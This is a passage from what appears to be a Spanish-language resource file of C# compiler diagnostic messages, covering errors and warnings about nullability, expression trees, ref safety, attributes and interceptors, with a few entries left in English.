referencia que aceptan valores NULL solo debe usarse en el código dentro de un contexto de anotaciones "#nullable". + Un árbol de expresión no puede contener una expresión throw. + No se puede convertir el tipo '{0}' en '{1}' + La expresión de filtro es una constante "false", considere quitar el bloqueo try-catch + El argumento con nombre '{0}' no se puede especificar varias veces + El especificador de tipo de matriz, [], debe ir delante del nombre del parámetro + No se puede convertir NULL en '{0}' porque es un tipo de valor que no acepta valores NULL. + Referencia del analizador "{0}" especificada varias veces + El modificador "partial" solo puede aparecer inmediatamente antes de "class", "record", "struct", "interface" o de un tipo de valor devuelto del método. + El método "{0}" no debe ser genérico para que coincida con "{1}". + El tipo no implementa el patrón de colección; el miembro no es un método de extensión o instancia pública. + El tipo de argumento para el atributo DefaultParameterValue debe coincidir con el tipo de parámetro + No hay ningún tipo de destino para "{0}". + Opción de alias de referencia no válida: '{0}=', falta el nombre de archivo + No se puede usar el tipo "{0}" para un campo de un registro. + Un campo o una propiedad implementada automáticamente no pueden ser de tipo "{0}", a menos que sea un miembro de instancia de una estructura ref. + Varianza no válida: el parámetro de tipo "{1}" debe ser un elemento {3} válido en "{0}", a menos que se use la versión de lenguaje "{4}" o posterior. "{1}" es {2}. + La directiva using aparecía anteriormente como using global + El atributo CallerArgumentExpressionAttribute aplicado al parámetro "{0}" no tendrá efecto porque se aplica a un miembro que se usa en contextos que no permiten argumentos opcionales + El argumento "{0}" con nombre se usa fuera de posición, pero va seguido de un argumento sin nombre. + Los miembros del campo de solo lectura "{0}" no se pueden devolver por referencia grabable. + No se puede usar una expresión del tipo '{0}' como argumento de una operación enviada de forma dinámica. + No se permiten expresiones de consulta con el tipo de origen 'dynamic' o con una secuencia de unión de tipo 'dynamic' + La opción '{0}' invalida el atributo '{1}' especificado en un archivo de código fuente o en un módulo agregado + '{0}': los nombres de los miembros no pueden coincidir con sus tipos envolventes + "{0}": el tipo usado en una instrucción using asincrónica debe poder convertirse de forma implícita en "System.IAsyncDisposable" o implementar un método "DisposeAsync" adecuado. ¿Quiso decir "using" en lugar de "await using"? + El parámetro "{0}" se produce después de "{1}" en la lista de parámetros, pero se usa como argumento para conversiones de controlador de cadena interpolada. Esto requerirá que el autor de llamada reordene los parámetros con argumentos con nombre en el sitio de llamada. Considere la posibilidad de colocar el parámetro de controlador de cadena interpolada después de todos los argumentos implicados. + Nombre de algoritmo hash no válido: "{0}" + La palabra clave contextual 'var' solo puede aparecer dentro de una declaración de variable local o en código de script + Un árbol de (la) expresión no puede contener un acceso de miembro de interfaz abstracta o virtual estática + El número base de la imagen '{0}' no es válido + Un evento de Windows Runtime no se puede pasar como parámetro out o ref. + La instancia de tipo "{0}" no se puede usar dentro de una función anidada, una expresión de consulta, un bloque iterador ni un método asincrónico. + '{0}' no implementa el miembro de interfaz '{1}'. '{2}' no puede implementar '{1}' porque no tiene el tipo de valor devuelto coincidente de '{3}'. + El argumento debe pasarse con la palabra clave 'ref' o 'in' + patrones de propiedad extendidos + El tipo de una de las expresiones de la cláusula {0} es incorrecto. No se pudo realizar la inferencia de tipos en la llamada a '{1}'. + El comentario XML tiene un atributo cref que hace referencia a un parámetro de tipo + El tipo local de archivo '{0}' no puede usar modificadores de accesibilidad. + El parámetro del constructor principal '{0}' está sombreado por un miembro de la base. + Se espera un nombre de método + No se puede usar el valor local fijo '{0}' dentro de un método anónimo, una expresión lambda o una expresión de consulta + El método "{0}" no se usará como punto de entrada porque se encontró un punto de entrada "{1}" sincrónico. + __arglist no es válido en este contexto + El miembro "{0}" debe tener un valor que no sea nulo al salir. + Los elementos no pueden ser NULL. + No es un símbolo C#. + No se puede convertir el grupo de &métodos "{0}" en un tipo de puntero "{1}" que no es de función. + '{0}': los tipos estáticos no se pueden usar como parámetros + Solo un ''usando estática'' o ''usando alias'' puede ser ''No seguro''. + El tipo '{0}' exportado del módulo '{1}' entra en conflicto con el tipo declarado en el módulo primario de este ensamblado. + La expresión switch no controla todos los valores posibles de su tipo de entrada (no es exhaustiva). + tipos construidos no administrados + Esto toma la dirección u obtiene el tamaño de un tipo administrado o declara un puntero al mismo + La cadena de versión especificada ''{0}'' no se ajusta al formato requerido: major[.minor[.build[.revision]]] + La instrucción foreach no puede funcionar en variables de tipo '{0}' porque implementa varias creaciones de instancias de "{1}"; intente convertirla en una creación de una instancia de interfaz específica + El comentario XML tiene una etiqueta param, pero no hay ningún parámetro con ese nombre + Se esperaba un identificador + coincidencia de patrones + El uso de alias no puede ser un tipo de referencia que acepte valores NULL. + El atributo CallerMemberNameAttribute no tendrá efecto: lo reemplaza el atributo CallerFilePathAttribute + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + tipos de archivo + Un árbol de expresión no puede contener un acceso base + Un parámetro solo puede tener un modificador '{0}' + No existe la etiqueta '{0}' en el ámbito de la instrucción goto + El código no seguro solo puede aparecer si se compila con /unsafe + Una referencia devuelta por una llamada a '{0}' no se puede conservar a través del límite "await" o "yield". + '{0}': los miembros virtuales o abstractos no pueden ser privados + El atributo CallerArgumentExpressionAttribute se aplica con un nombre de parámetro no válido. + campos posicionales en registros + miembros de solo lectura + El ensamblaje referenciado tiene una configuración de cultura diferente + El primer parámetro "in" or "ref readonly" del método de extensión "{0}" debe ser un tipo de valor concreto (no genérico). + El generador '{0} ' no se pudo inicializar. No contribuye a la salida y pueden producirse errores de compilación como resultado. La excepción era de tipo '{1}' con el mensaje '{2}'. +{3} + Un valor de tipo '{0}' no se puede usar como parámetro predeterminado para el parámetro '{1}' que acepta valores NULL porque '{0}' no es un tipo simple + Un valor de tipo '{0}' no se puede usar como parámetro predeterminado porque no hay conversiones estándar al tipo '{1}' + La capacidad para admitir valores NULL de los tipos de referencia del tipo de parámetro '{0}' no coincide con el método interceptable '{1}'. + '{0}' debe ser necesario porque invalida el miembro requerido '{1}' + "{0}" es abstracto, pero está contenido en el tipo no abstracto "{1}" + dinámico + Posible asignación de referencia nula. + No se puede devolver por referencia un miembro del parámetro "{0}" porque está en el ámbito del método actual + El módulo "{0}" del ensamblado "{1}" va a reenviar el tipo "{2}" a varios ensamblados: "{3}" y "{4}". + Se esperaba "disable" o "restore" después de la advertencia de #pragma + El valor '{0}' de SecurityAction no es válido para los atributos de seguridad aplicados a un tipo o método + '{0}' es {1} pero se usa como {2} + El miembro del registro "{0}" debe devolver "{1}". + Las directivas de preprocesador deben ser el primer carácter de una línea que no sea un espacio en blanco + campo + matriz + alias using + separadores de dígitos + Uso del campo posiblemente sin asignar '{0}'. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado del campo. + No se puede usar el tipo "{0}?" que acepta valores NULL en una expresión is-type; use en su lugar el tipo "{0}" subyacente. + El parámetro "{0}" debe tener un valor que no sea nulo al salir. + evento + El modificador '{0}' no es válido para este elemento + descartes + Al archivo de clave '{0}' le falta la clave privada necesaria para firmar + etiqueta + La expresión __arglist solo puede aparecer dentro de una llamada o una expresión new + No se admite el algoritmo '{0}' + El método debe tener un tipo de valor devuelto + parámetro de tipo + Las enumeraciones no pueden contener constructores explícitos sin parámetros + "{0}" tiene un atributo "UnmanagedCallersOnly" y no se le puede llamar directamente. Obtenga un puntero de función a este método. + Ambas declaraciones de método parcial deben tener modificadores de accesibilidad idénticos. + No hay ninguna ubicación de atributo válida para esta declaración + Error criptográfico al crear hashes. + Este método solo se puede usar para crear tokens: {0} no es un tipo de token. + No se puede usar el miembro "{0}" en este atributo. + "{0}" no puede definir un elemento {1} sobrecargado que difiere solo en los modificadores de parámetro "{2}" y "{3}". + El puntero de función "{0}" no toma {1} argumentos. + Duplicar el operador de supresión de tipo null ("!") + La nulabilidad de los tipos de referencia del tipo no coincide con el miembro reemplazado + El nombre '{0}' no existe en el contexto actual (¿falta alguna referencia al ensamblado '{1}'?) + La palabra clave 'base' no está disponible en el contexto actual + No se puede usar la variable local '{0}' antes de declararla + using asincrónica + La cadena literal ']]>' no se permite en el contenido de elemento. + '{0}': no puede implementar una interfaz dinámica '{1}' + declaración de variables de expresión en inicializadores y consultas de miembros + El entorno de ejecución de destino no admite campos ref. + No se puede interceptar la llamada a '{0}' con '{1}' debido a una diferencia en los modificadores 'scoped' o los atributos '[UnscopedRef]'. + Las declaraciones de métodos parciales de "{0}" tienen una nulabilidad incoherente de las restricciones para el parámetro de tipo "{1}" + Parámetro no válido para el tipo no administrado especificado. + opción /REFERENCEPATH + Un árbol de expresión no puede contener una referencia a una función local. + El campo tiene varios valores constantes distintos. + {0} versión {1} + Copyright (C) Microsoft Corporation. Todos los derechos reservados. + El valor '{0}' de SecurityAction no es válido en este tipo de declaración. Los atributos de seguridad solo son válidos en las declaraciones de ensamblado, de tipo y de método. + uso de versión estática + Al miembro '{0}' agregado durante la sesión de depuración actual solo se puede acceder desde el ensamblado donde se declara, '{1}'. + No se puede usar #load después del primer token del archivo + El nombre de tipo solo contiene caracteres ASCII en minúsculas. Estos nombres pueden reservarse para el idioma. + Un árbol de expresión no puede contener una declaración de variable de argumento out. + Tipo no válido para el parámetro {0} en el atributo cref del comentario XML: '{1}' + El tipo no se puede usar como parámetro de tipo en el tipo o método genérico. La nulabilidad del argumento de tipo no coincide con la restricción "class" + Incoherencia de accesibilidad: el tipo de restricción '{1}' es menos accesible que '{0}' + '{0}' no puede ser abstracto y estar sellado a la vez + Carácter '{0}' inesperado + '{0}' no es un argumento de atributo con nombre válido. Los argumentos de atributo con nombre deben ser campos que no sean readonly, static ni const, o bien propiedades read-write que sean public y no static. + Directiva #pragma no reconocida + No se puede declarar una variable de tipo estático '{0}' + Ha añadido una referencia a un ensamblado con /link (con la propiedad Embed Interop Types establecida como verdadera). Esto instruye al compilador para que inserte información del tipo de interoperabilidad desde ese ensamblado. Sin embargo, el compilador no puede insertar información del tipo de interoperabilidad desde ese ensamblado porque hay otro ensamblado que ha referenciado que hace referencia a ese ensamblado con /reference (con la propiedad Embed Interop Types establecida como falsa). + +Para insertar información del tipo de interoperabilidad en ambos ensamblados, use /link para las referencias de ambos ensamblados (establezca la propiedad Embed Interop Types como verdadera). + +Para eliminar la advertencia puede usar /reference (establezca la propiedad Embed Interop Types como falsa). En este caso, un ensamblado de interoperabilidad primario (PIA) provee información del tipo de interoperabilidad. + La capacidad para admitir valores NULL de los tipos de referencia en el tipo de valor devuelto no coincide con el método interceptable '{0}'. + descriptor de acceso de propiedades del cuerpo de expresión + '{0}' define el operador == o el operador != pero no invalida Object.Equals(object o) + Número de argumentos de tipo incorrecto + '{0}' no implementa el patrón '{1}'. '{2}' tiene una firma incorrecta. + Una instrucción foreach asincrónica requiere que el tipo de valor devuelto “{0}” de “{1}” tenga un método “MoveNextAsync” público y una propiedad “Current” pública. + Una declaración de espacio de nombres no puede tener modificadores ni atributos + "{0}": el campo de instancia en tipos marcados con StructLayout(LayoutKind.Explicit) debe tener un atributo FieldOffset + No se puede crear una instancia de la interfaz o el tipo abstracto "{0}" + Una implementación de interfaz explícita de un evento debe usar la sintaxis de descriptor de acceso de eventos + La evaluación del valor constante de '{0}' comprende una definición circular + '{0}' no es una ubicación de atributos válida para esta declaración. Las ubicaciones de atributos válidas son '{1}'. Todos los atributos de este bloque se omitirán. + El resultado de una expresión stackalloc de tipo "{0}" en este contexto puede exponerse fuera del método contenedor + "{0}" es ambiguo entre "{1}" y "{2}". Use "@{0}" o incluya explícitamente el sufijo "Attribute". + Se esperaba ; + La llamada distribuida dinámicamente puede fallar en el tiempo de ejecución porque una o más sobrecargas aplicables son métodos condicionales + El espacio de nombres entra en conflicto con un tipo importado + Un método parcial no puede tener varias declaraciones de implementación + No se puede usar '{0}' como valor out o ref porque es un '{1}'. + '{0}' ha concedido acceso de confianza, pero el nombre seguro que firma el estado del ensamblado de salida no coincide con el del ensamblado de concesión. + creación de objetos con tipo de destino + Un constructor declarado en un tipo con lista de parámetros debe tener un inicializador de constructor ''this''. + La restricción no puede ser un tipo dinámico '{0}' + El operador '{0}' no se puede aplicar al operando del tipo '{1}' + Una referencia grabable no puede devolver un parámetro de constructor principal de un tipo de solo lectura + '{0}': una referencia a un campo volátil no se tratará como tal + Un árbol de expresión no puede contener una operación dinámica + Las variables locales con tipo implícito no pueden ser fijas + El tipo "{0}" importado no es válido. Contiene una dependencia de tipo base circular. + Se encontraron varias implementaciones del patrón de consulta para el tipo de origen '{0}'. Llamada ambigua a '{1}'. + El modificador de línea de comandos '{0}' todavía no se ha implementado y se ha omitido. + La nulabilidad de los tipos de referencia del tipo no coincide con el miembro implementado + El método, operador o descriptor de acceso '{0}' está marcado como externo y no tiene atributos. Puede agregar un atributo DllImport para especificar la implementación externa. + "{0}" no es un nombre de parámetro válido para "{1}". + Incoherencia de accesibilidad: el tipo de parámetro '{1}' es menos accesible que el indizador '{0}' + El tipo "{0}" predefinido se declara en varios ensamblados a los que se hace referencia: "{1}" y "{2}" + propiedad con forma de expresión + "RefKind.Out" no es un tipo de referencia válido para un tipo de valor devuelto. + cadenas textuales interpoladas alternativas + sombreado de nombres en funciones anidadas + El atributo FieldOffset no se permite en campos static ni const + No se puede usar la variable local de tipo ref '{0}' dentro de un método anónimo, una expresión lambda o una expresión de consulta. + No se puede devolver un parámetro por referencia "{0}" porque está en el ámbito del método actual + El operador '{0}' es ambiguo en operandos del tipo '{1}' y '{2}' + El tipo de valor devuelto de '{0}' no es conforme a CLS + Un brazo de expresión de cambio no comienza con una palabra clave ''caso''. + CallerArgumentExpressionAttribute solo se puede aplicar a parámetros con valores predeterminados + Asumiendo que la referencia al ensamblaje coincide con la identidad + '{0}' no contiene una definición para '{1}' y no se encontró ningún método de extensión '{1}' que acepte un primer argumento de tipo '{0}' (¿falta alguna directiva using para '{2}'?) + Se especificó un retraso en la firma y esto requiere una clave pública, pero no se ha especificado ninguna + La expresión siempre producirá System.NullReferenceException porque el valor predeterminado de '{0}' es NULL + Los indizadores deben tener al menos un parámetro + Usar '{0}' para probar la compatibilidad con '{1}' es, básicamente, lo mismo que probar la compatibilidad con '{2}' y surtirá efecto para todos los valores distintos de NULL + La llamada indicada se intercepta varias veces. + Se espera un valor de tipo entero + El argumento no se puede usar como salida para el parámetro debido a las diferencias en la nulabilidad de los tipos de referencia. + Esta funcionalidad de idioma ('{0}') todavía no está implementada. + El árbol de sintaxis debe crearse desde un envío. + El nombre completo es demasiado largo para la información de depuración + El modificador 'readonly' debe especificarse después de 'ref'. + No se encontró ningún valor para RuntimeMetadataVersion. No se encontró ningún ensamblado que contuviese System.Object ni se especificó ningún valor para RuntimeMetadataVersion a través de las opciones. + La anotación de tipos de referencia que aceptan valores NULL solo se debe usar en el código en un contexto de anotaciones "#nullable". El código generado automáticamente requiere una directiva "#nullable" explícita en el código fuente. + La interfaz marcada con el atributo 'CoClassAttribute' no está marcada con el atributo 'ComImportAttribute' + matriz de parámetros lambda + La instancia asignada no está eliminada en todas las rutas de acceso de excepción + 'Se esperaba 'in' + Hay un error en un ensamblado al que se hace referencia: '{0}'. + La nulabilidad del tipo de parámetro no coincide con el miembro invalidado (posiblemente debido a los atributos de nulabilidad). + El nombre '{0}' del elemento de tupla no se permite en ninguna posición. + Indizando una matriz con un índice negativo (los índices de matriz siempre comienzan por cero) + El atributo CLSCompliant no tiene ningún significado cuando se aplica a tipos de valor devuelto. Pruebe a incluirlo en el método. + El objeto "{0}" especificado para el método Main debe ser una clase, registro, estructura o interfaz no genérica + Esta combinación de argumentos puede exponer variables a las que el parámetro hace referencia fuera de su ámbito de declaración + El mejor método Add sobrecargado '{0}' para el elemento inicializador de la colección está obsoleto. {1} + No se puede realizar la comprobación de conformidad a CLS porque no es visible fuera de este ensamblador + Las declaraciones parciales de '{0}' tienen restricciones incoherentes para el parámetro de tipo '{1}' + No se encontró '{0}' especificado para el método Main + Si se utiliza un campo de una clase de serialización por referencia como valor ref o out, o se acepta su dirección, se puede producir una excepción en tiempo de ejecución. + y el patrón + No se ha dado ningún argumento que corresponda al parámetro requerido "{0}" de "{1}" + El nombre "{0}" no coincide con el parámetro de "Deconstruct" correspondiente, "{1}". + El tipo de código fuente proporcionado no se admite o no es válido: "{0}" + Esto devuelve por referencia un miembro del parámetro que está en el ámbito del método actual + No se puede especificar un valor predeterminado para una matriz de parámetros + Se ha asignado a la misma variable + Nombre no válido para un símbolo de preprocesamiento; "{0}" no es un identificador válido + '{0}' no puede implementar '{1}' y '{2}' a la vez porque se pueden unificar para algunas sustituciones de parámetros de tipo + El tipo '{0}' reenviado al ensamblado '{1}' entra en conflicto con el tipo '{2}' exportado del módulo '{3}'. + El tipo '{2}' debe ser un tipo de valor que no acepte valores NULL para poder usarlo como parámetro '{1}' en el tipo o método genérico '{0}' + Los tipos estáticos no se pueden usar como tipos de valor devuelto + El método tiene la firma incorrecta para ser un punto de entrada + Modificador '{0}' duplicado + de forma contravariante + No se pueden utilizar patrones de lista para un valor de tipo "{0}". + No se puede convertir {0} al tipo "{1}" porque el tipo de valor devuelto no coincide con el tipo de valor devuelto delegado + Se esperaba una palabra clave, un identificador o una cadena detrás del especificador textual: @ + El modificador "{0}" no es válido para este elemento en C# {1}. Use la versión de lenguaje "{2}" o una posterior. + A la implementación de interfaz explícita '{0}' le falta el descriptor de acceso '{1}' + '{2}' debe ser un tipo no abstracto con un constructor público sin parámetros para poder usarlo como parámetro '{1}' en el tipo o método genérico '{0}' + '{0}': el tipo contenedor no implementa la interfaz '{1}' + "{0}": las estructuras ref no pueden implementar interfaces. + El método '{0}' debe ser no genérico o tener {1} de aridad para que coincida con '{2}'. + No se encontró ninguna implementación del patrón de consulta para el tipo de origen "{0}". No se encontró "{1}". ¿Falta alguna referencia de ensamblado necesaria o alguna directiva using para "System.Linq"? + Los operadores definidos por el usuario no pueden devolver un valor void + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con el miembro implementado de forma implícita + literales binarios + No se puede crear una matriz con un tamaño negativo + eliminación basada en patrones + clases estáticas + restricciones para métodos de implementación de interfaz explícita e invalidación + La instrucción yield no se puede usar dentro de un método anónimo o una expresión lambda + El tipo '{0}' no se puede incrustar porque tiene un argumento genérico. Puede establecer la propiedad 'Incrustar tipos de interoperabilidad' en false. + El archivo de código fuente ha superado el límite de 16.707.565 líneas representables en el PDB. La información de depuración no será correcta. + estructuras ref + operador de índice + '{0}' no implementa el miembro de interfaz '{1}'. '{2}' no es público. + El argumento InterpolatedStringHandlerArgument no tiene ningún efecto cuando se aplica a parámetros lambda y se omitirá en el sitio de llamada. + '{1}' no define el parámetro de tipo '{0}' + No use "_" para una constante de caso. + El tipo de destinatario '{0}' no es un tipo de registro válido y no es un tipo de registro. + El operador typeof no se puede usar en el tipo dinámico + El operando de un operador de incremento o decremento debe ser una variable, una propiedad o un indizador + El modificador /embed solo se admite al emitir un PDB. + La expresión proporcionada no se puede utilizar en una instrucción "fixed" + '{0}' no puede ser externo y abstracto a la vez + Se requiere un objeto cuyo tipo se pueda convertir en '{0}' + No se puede crear ninguna instancia de la clase estática '{0}' + Uso del campo '{0}' posiblemente sin asignar + No se puede acceder a switch case. Ya se ha administrado con un caso anterior o no se puede hacer coincidir. + '{0}' oculta el miembro heredado '{1}'. Use la palabra clave new si su intención era ocultarlo. + Carácter Unicode no válido. + Las expresiones lambda que devuelven datos por referencia no se pueden convertir en árboles de expresión. + No se puede definir una clase o un miembro que utiliza tuplas porque no se encuentra el tipo requerido de compilador '{0}'. ¿Falta alguna referencia? + Error al firmar la salida con una clave pública del archivo '{0}': {1} + '{0}': no se puede especificar a la vez una clase de restricción y la restricción 'class' o 'struct' + Los métodos anónimos, las expresiones lambda, las expresiones de consulta y las funciones locales dentro de una estructura no pueden tener acceso al parámetro de constructor principal que también se usa dentro de un miembro de instancia. + La capacidad para admitir valores NULL de los tipos de referencia del tipo de parámetro no coincide con el método interceptable. + Las directivas de uso de versión estática solo se pueden aplicar a tipos. '{0}' es un espacio de nombres, no un tipo. Puede que deba utilizar una directiva de uso de espacio de nombres en su lugar + No se puede usar una expresión lambda como argumento de una operación enviada de forma dinámica sin convertirla antes en un tipo delegado o de árbol de expresión. + Las devoluciones por valor solo se pueden usar en métodos que devuelven datos por valor. + El resultado de una expresión stackalloc de tipo "{0}" no se puede usar en este contexto porque puede exponerse fuera del método contenedor. + atributos genéricos + La expresión de filtro es una constante "true", puede quitar el filtro + Tipo no válido especificado como argumento para el atributo TypeForwardedTo + No se puede crear un delegado con '{0}' porque él mismo o un método que él invalida tiene un atributo Conditional + El uso del literal predeterminado no es válido en este contexto. + Palabra clave inesperada 'unchecked' + La lista de miembros necesarios para '{0}' tiene un formato incorrecto y no se puede interpretar. + No se puede convertir implícitamente el tipo '{0}' en '{1}'. Ya existe una conversión explícita (compruebe si le falta una conversión) + No se puede crear una instancia de analizador {0} desde {1} : {2}. + La directiva using apareció anteriormente en este espacio de nombre + El comentario XML tiene un atributo cref que no se pudo resolver + No se puede hacer referencia a 'System.Runtime.CompilerServices.TupleElementNamesAttribute' explícitamente. Use la sintaxis de tupla para definir nombres de tupla. + Número no válido + El delegado '{0}' no toma {1} argumentos + '{0}' oculta el miembro abstracto heredado '{1}' + Parámetro de tipo duplicado '{0}' + El mejor método Add sobrecargado para el elemento inicializador de la colección está obsoleto + patrón que coincide con ReadOnly/Span<char> en una cadena constante + Se han proporcionado distintos valores de suma de comprobación para '{0}' + '{0}': el evento debe ser de tipo delegado + El valor de EnumeratorCancellationAttribute aplicado al parámetro "{0}" no surtirá efecto. El atributo solo es efectivo en un parámetro de tipo CancellationToken en un método iterador asincrónico que devuelve IAsyncEnumerable + Se esperaba una expresión tras la instrucción yield return + El modificador /sourcelink solo se admite al emitir PDB. + La nulabilidad de los tipos de referencia del valor no coincide con el tipo de destino + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con el miembro implementado + El primer argumento de un atributo de seguridad debe ser una SecurityAction válida + "{0}": un evento externo no puede tener un inicializador + No use 'System.Runtime.CompilerServices.ScopedRefAttribute'. En su lugar, use la palabra clave "scoped". + La palabra clave contextual 'var' no se puede usar en una declaración de variable de rango + Alias externo no válido para '/reference'; '{0}' no es un identificador válido + El miembro oculta el miembro heredado. Falta una contraseña de invalidación + El atributo FieldOffset solo se puede colocar en miembros de tipos marcados con StructLayout(LayoutKind.Explicit) + El comentario XML tiene una etiqueta de parámetro duplicada + seguridad de varianza para miembros de interfaz static + tipo + '{0}': los tipos estáticos no se pueden usar como argumentos de tipo + No se permite una expresión throw en este contexto. + La expresión switch no controla algunos valores de su tipo de entrada (no es exhaustiva) que requieran un valor de enumeración sin nombre. + El CallerLineNumberAttribute aplicado al parámetro '{0}' no tendrá efecto porque se aplica a un miembro que se usa en contextos que no permiten argumentos opcionales + Se esperaba un operador binario sobrecargable + No se encontró el mejor tipo para la matriz con tipo implícito + No se permite un espacio en blanco en esta ubicación. + El comentario XML no está situado en un elemento válido del idioma + No se puede utilizar un tamaño negativo con stackalloc + Error de sintaxis de línea de comandos: falta '{0}' para la opción '{1}' + Los punteros y los búferes de tamaño fijo solo se pueden utilizar en un contexto no seguro + El método sobrecargado que solo difiere por tipos de matriz sin nombre no es conforme a CLS + Debe asignarse un parámetro out antes de que el control abandone el método + Error al compilar recursos de Win32: {0} + En los árboles de expresión no se pueden usar métodos parciales con solo una declaración de definición ni métodos condicionales quitados + El nombre "{0}" del elemento de tupla se ha deducido. Use la versión {1} del lenguaje, o una versión posterior, para acceder a un elemento por el nombre deducido. + Posible comparación de referencias no intencionada; para obtener una comparación de valores, convierta el lado de la derecha en el tipo '{0}' + El comentario XML tiene una etiqueta typeparam duplicada + Uso de la variable local no asignada '{0}' + Los tipos y alias no se pueden denominar 'file'. + El atributo CallerArgumentExpressionAttribute no tendrá efecto: lo reemplaza el atributo CallerLineNumberAttribute + El ensamblado '{0}' con la identidad '{1}' usa '{2}', que tiene una versión superior a la del ensamblado '{3}' al que se hace referencia y que tiene la identidad '{4}' + Devuelve un parámetro por referencia "{0}" a través de un parámetro ref; pero solo se puede devolver de forma segura en una instrucción "return" + El {1} '{0}' no genérico no se puede usar con argumentos de tipo + inicializadores de campo de estructura + El nombre de ensamblado '{0}' está reservado y no se puede usar como referencia en una sesión interactiva + No se puede usar "ref", "in" o "out" en la firma de un método atribuido con "UnmanagedCallersOnly". + El tipo define operator == or operator !=, pero no reemplaza a override Object.Equals(object o) + No se puede usar el parámetro '{0}' que tiene un tipo de tipo ref dentro de un método anónimo, una expresión lambda, una expresión de consulta o una función local + '{0}': el tipo debe ser '{2}' para que coincida con el miembro invalidado '{1}' + Operador OR bit a bit usado en un operando con extensión de signo; puede convertir primero a un tipo sin signo más pequeño + La expresión de filtro es una constante "false" + No puede utilizar los búferes de tamaño fijo contenidos en expresiones de tipo unfixed. Pruebe a usar la instrucción "fixed". + No se puede adquirir la dirección de la expresión dada + Un árbol de expresión no puede contener '{0}' + No se puede especificar un valor de parámetro predeterminado junto con DefaultParameterAttribute u OptionalAttribute + El tipo "{2}" no se puede usar como parámetro de tipo "{1}" en el tipo o método genérico "{0}". La nulabilidad del argumento de tipo "{2}" no coincide con la restricción "class". + No se encontró un método de extensión o instancia "Deconstruct" adecuado para el tipo "{0}", con {1} parámetros out y un tipo de valor devuelto void. + "{0}" está implementado de forma explícita más de una vez. + Un método de extensión debe definirse en una clase estática no genérica + Attribute parameter 'SizeConst' must be specified. + '{0}' es de tipo '{1}'. Un campo const de un tipo de referencia que no sea de cadena solo se puede inicializar con NULL. + "{0}" no es un especificador de convención de llamada válido para un puntero de función. + La nulabilidad de los tipos de referencia en el tipo de valor devuelto no coincide con el miembro implementado "{0}". + La restricción 'new()' no se puede utilizar con la restricción 'struct' + No se permite __arglist en la lista de parámetros de métodos asincrónicos + No se puede interceptar: la compilación no contiene un archivo con la ruta de acceso '{0}'. + No se puede usar el operador "{0}" aquí debido a la prioridad. Use paréntesis para eliminar la ambigüedad. + El parámetro debe tener un valor que no sea nulo al salir. + No use 'System.Runtime.CompilerServices.ExtensionAttribute'. Use la palabra clave 'this' en su lugar. + miembros necesarios + Se esperaba un descriptor de acceso add o remove + El control no puede abandonar el cuerpo de un método anónimo o de una expresión lambda + El miembro obsoleto invalida un miembro no obsoleto + El paso "{0}" no es válido a menos que "{1}" sea "SignatureCallingConvention.Unmanaged". + La restricción de tipo de clase '{0}' debe preceder a cualquier otra restricción + Uso de una propiedad implementada automáticamente posiblemente sin asignar '{0}' + El ensamblado del analizador ”{0}” hace referencia a la versión ”{1}” del compilador, que es más reciente que la versión "{2}" que se está ejecutando actualmente. + "{0}" debe coincidir por referencia con el tipo de valor devuelto del miembro invalidado "{1}". + El atributo CallerFilePathAttribute no tendrá efecto: lo reemplaza el atributo CallerLineNumberAttribute + Los grupos de métodos de extensión como argumento de 'nameof' no están permitidos. + No se puede inicializar una variable por valor con una referencia. + El cuerpo de un método async-iterator debe contener una instrucción "yield". Considere quitar "async" de la declaración del método o agregar una instrucción "yield". + "{0}" no contiene una definición para "{1}" ni un método de extensión accesible "{1}" que acepte un primer argumento del tipo "{0}" (¿falta alguna directiva using o una referencia de ensamblado?) + {1} '{0}' no se puede usar con argumentos de tipo + No se puede usar una expresión en este contexto porque puede exponer variables indirectamente fuera de su ámbito de declaración. + La conversión del parámetro al controlador de cadena interpolada se produce después del parámetro de controlador + Un método parcial no puede tener varias declaraciones de definición + El atributo CallerArgumentExpressionAttribute aplicado al parámetro "{0}" no tendrá ningún efecto. Se ha aplicado con un nombre de parámetro no válido. + La referencia de ensamblado '{0}' no es válida y no se puede resolver + Esta referencia asigna un valor que tiene un ámbito de escape más estrecho que el destino. + Las clases estáticas no pueden tener constructores de instancia + "await" requiere que el tipo {0} tenga un método "GetAwaiter" adecuado. + No se puede usar un miembro del resultado de "{0}" en este contexto porque puede exponer variables a las que el parámetro "{1}" hace referencia fuera de su ámbito de declaración. + El parámetro lambda con tipo implícito “{0}” no puede tener un valor predeterminado. + El tipo '{1}' reserva ya un miembro denominado '{0}' con los mismos tipos de parámetro + La propiedad implementada automáticamente "{0}" no se puede marcar como "readonly" porque tiene un descriptor de acceso "set". + El tipo de argumento no es conforme a CLS + Secuencia de escape no reconocida + El parámetro no tiene una etiqueta param coincidente en el comentario XML (pero otros parámetros sí) + La expresión switch no controla algunas entradas de tipo NULL. + La interfaz heredada '{1}' crea un ciclo en la jerarquía de interfaz de '{0}' + El nombre del tipo o del espacio de nombres '{0}' no se encontró en el espacio de nombres global (¿falta alguna referencia de ensamblado?) + No se puede interceptar '{0}' porque no es una invocación de un método de miembro normal. + No se puede usar await en la expresión de filtro de una cláusula catch + Solo se pueden usar expresiones de inicializador de matriz como asignación a tipos de matriz. Pruebe a utilizar una expresión new en su lugar. + Se va a convertir un literal nulo o un posible valor nulo en un tipo que no acepta valores NULL + Las variables con tipo implícito se deben inicializar + La declaración de parámetros de tipo debe ser un identificador, no un tipo + constructores principales + La propiedad implementada automáticamente '{0}' debe estar totalmente asignada antes de que el control se devuelva al autor de la llamada. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado de la propiedad. + '{0}': nuevo miembro protegido declarado en estructura + '{0}': las clases estáticas no pueden contener miembros protegidos + El objeto "this" se lee antes de que se hayan asignado todos sus campos, lo que provoca las asignaciones implícitas anteriores de "default" a los campos asignados de forma no explícita. + '{0}': no se puede declarar miembros de instancia en una clase estática + El control se devuelve al autor de la llamada antes de que la propiedad implementada automáticamente se asigne explícitamente, lo que provoca una asignación implícita anterior de 'default'. + Los archivos ejecutables no pueden ser ensamblados satélite y no deben tener referencia cultural + El método carece de una anotación "[DoesNotReturn]" que coincida con un miembro implementado o invalidado. + El uso de la palabra clave 'base' no es válido en este contexto + El tipo '{0}' está definido en un ensamblado al que no se hace referencia. Debe agregar una referencia al ensamblado '{1}'. + '{0}' agrega un descriptor de acceso que no se encuentra en el miembro de interfaz 